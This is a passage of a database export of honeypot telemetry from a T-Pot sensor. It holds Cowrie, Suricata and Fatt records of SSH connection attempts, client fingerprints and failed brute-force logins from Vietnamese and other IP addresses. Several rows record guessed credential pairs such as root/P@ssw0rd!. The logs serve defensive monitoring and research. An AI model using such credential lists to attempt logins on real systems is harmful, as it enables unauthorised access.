"curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 42352, "dest_port": 22, "timestamp": "2021-09-20T11:07:58.972263", "@timestamp": "2021-09-20T11:07:58.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23914	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:00.210212+03	2021-09-20 14:15:08.117471+03	{"_id": "BwbkAnwBvYTbRNuELBAb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.login.failed", "message": "login attempt [administrators/administrators] failed", "session": "5f74f2b0e457", "@version": "1", "password": "administrators", "username": "administrators", "timestamp": "2021-09-20T11:08:00.210212Z", "@timestamp": "2021-09-20T11:08:00.210Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23915	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:08:01.429645+03	2021-09-20 14:15:08.11847+03	{"_id": "CQbkAnwBvYTbRNuEMxDs", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "5f74f2b0e457", "@version": "1", "duration": 2.6698927879333496, "timestamp": "2021-09-20T11:08:01.429645Z", "@timestamp": "2021-09-20T11:08:01.429Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23916	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:09.276326+03	2021-09-20 14:15:08.12047+03	{"_id": "KwbkAnwBvYTbRNuETxBK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cb8f41121165", "@version": "1", "timestamp": "2021-09-20T11:08:09.276326Z", "@timestamp": "2021-09-20T11:08:09.276Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23917	95.85.8.215	109.199.241.180	Cowrie	2021-09-20 14:08:09.287175+03	2021-09-20 14:15:08.12147+03	{"_id": "LAbkAnwBvYTbRNuETxBK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "95.85.8.215", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "95.85.8.215", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "b403f8aa5781", "@version": "1", "duration": 1.3974981307983398, "timestamp": "2021-09-20T11:08:09.287175Z", "@timestamp": "2021-09-20T11:08:09.287Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
23918	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:08:09.273532+03	2021-09-20 14:15:08.12247+03	{"_id": "LQbkAnwBvYTbRNuEURDi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1629009884833081, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 51308, "dest_port": 22, "timestamp": "2021-09-20T11:08:09.273532Z", "@timestamp": "2021-09-20T11:08:09.273Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23919	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:09.815369+03	2021-09-20 14:15:08.12347+03	{"_id": "LgbkAnwBvYTbRNuEUxAy", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [teste/1234Brazil] failed", "session": "041ccc791988", "@version": "1", "password": "1234Brazil", "username": "teste", "timestamp": "2021-09-20T11:08:09.815369Z", "@timestamp": "2021-09-20T11:08:09.815Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23920	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:10.750473+03	2021-09-20 14:15:08.12447+03	{"_id": "MQbkAnwBvYTbRNuEVxAb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [root/P@ssw0rd!] failed", "session": "cb8f41121165", "@version": "1", "password": "P@ssw0rd!", "username": "root", "timestamp": "2021-09-20T11:08:10.750473Z", "@timestamp": "2021-09-20T11:08:10.750Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
23921	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:12.028543+03	2021-09-20 14:15:08.12647+03	{"_id": "MgbkAnwBvYTbRNuEWxAD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 21 seconds", "session": "cb8f41121165", "@version": "1", "duration": 21.31486201286316, "timestamp": "2021-09-20T11:08:12.028543Z", "@timestamp": "2021-09-20T11:08:12.028Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23922	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:58.972137+03	2021-09-20 14:15:08.12747+03	{"_id": "-gbkAnwBvYTbRNuEJg_j", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1236185734060300, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 42352, "dest_port": 22, "timestamp": "2021-09-20T11:07:58.972137Z", "@timestamp": "2021-09-20T11:07:58.972Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
23923	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:58.761128+03	2021-09-20 14:15:08.128471+03	{"_id": "_AbkAnwBvYTbRNuEJw_H", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 42352, "timestamp": "2021-09-20T11:07:58.761128", "@timestamp": "2021-09-20T11:07:58.761Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
23924	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:58.760128+03	2021-09-20 14:15:08.12947+03	{"_id": "_gbkAnwBvYTbRNuEKA9l", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5f74f2b0e457", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:58.760128Z", "@timestamp": "2021-09-20T11:07:58.760Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23925	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:58.757256+03	2021-09-20 14:15:08.13147+03	{"_id": "AQbkAnwBvYTbRNuEKBBm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 115.72.130.93:42352 (192.168.176.2:22) [session: 5f74f2b0e457]", "session": "5f74f2b0e457", "@version": "1", "protocol": "ssh", "src_port": 42352, "dest_port": 22, "timestamp": "2021-09-20T11:07:58.757256Z", "@timestamp": "2021-09-20T11:07:58.757Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
23926	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:07:58.972597+03	2021-09-20 14:15:08.13247+03	{"_id": "AAbkAnwBvYTbRNuEKBBm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5f74f2b0e457", "@version": "1", "timestamp": "2021-09-20T11:07:58.972597Z", "@timestamp": "2021-09-20T11:07:58.972Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
23927	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:09.273848+03	2021-09-20 14:15:08.13347+03	{"_id": "KgbkAnwBvYTbRNuETxBJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "cb8f41121165", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:08:09.273848Z", "@timestamp": "2021-09-20T11:08:09.273Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
23928	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:08:11.095187+03	2021-09-20 14:15:08.13447+03	{"_id": "MAbkAnwBvYTbRNuEVxAb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 32 seconds", "session": "041ccc791988", "@version": "1", "duration": 32.558016777038574, "timestamp": "2021-09-20T11:08:11.095187Z", "@timestamp": "2021-09-20T11:08:11.095Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
23929	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:08:19.059188+03	2021-09-20 14:15:08.135471+03	{"_id": "VgbkAnwBvYTbRNuEdhCN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:60396 (192.168.176.2:22) [session: 71345146d39d]", "session": "71345146d39d", "@version": "1", "protocol": "ssh", "src_port": 60396, "dest_port": 22, "timestamp": "2021-09-20T11:08:19.059188Z", "@timestamp": "2021-09-20T11:08:19.059Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
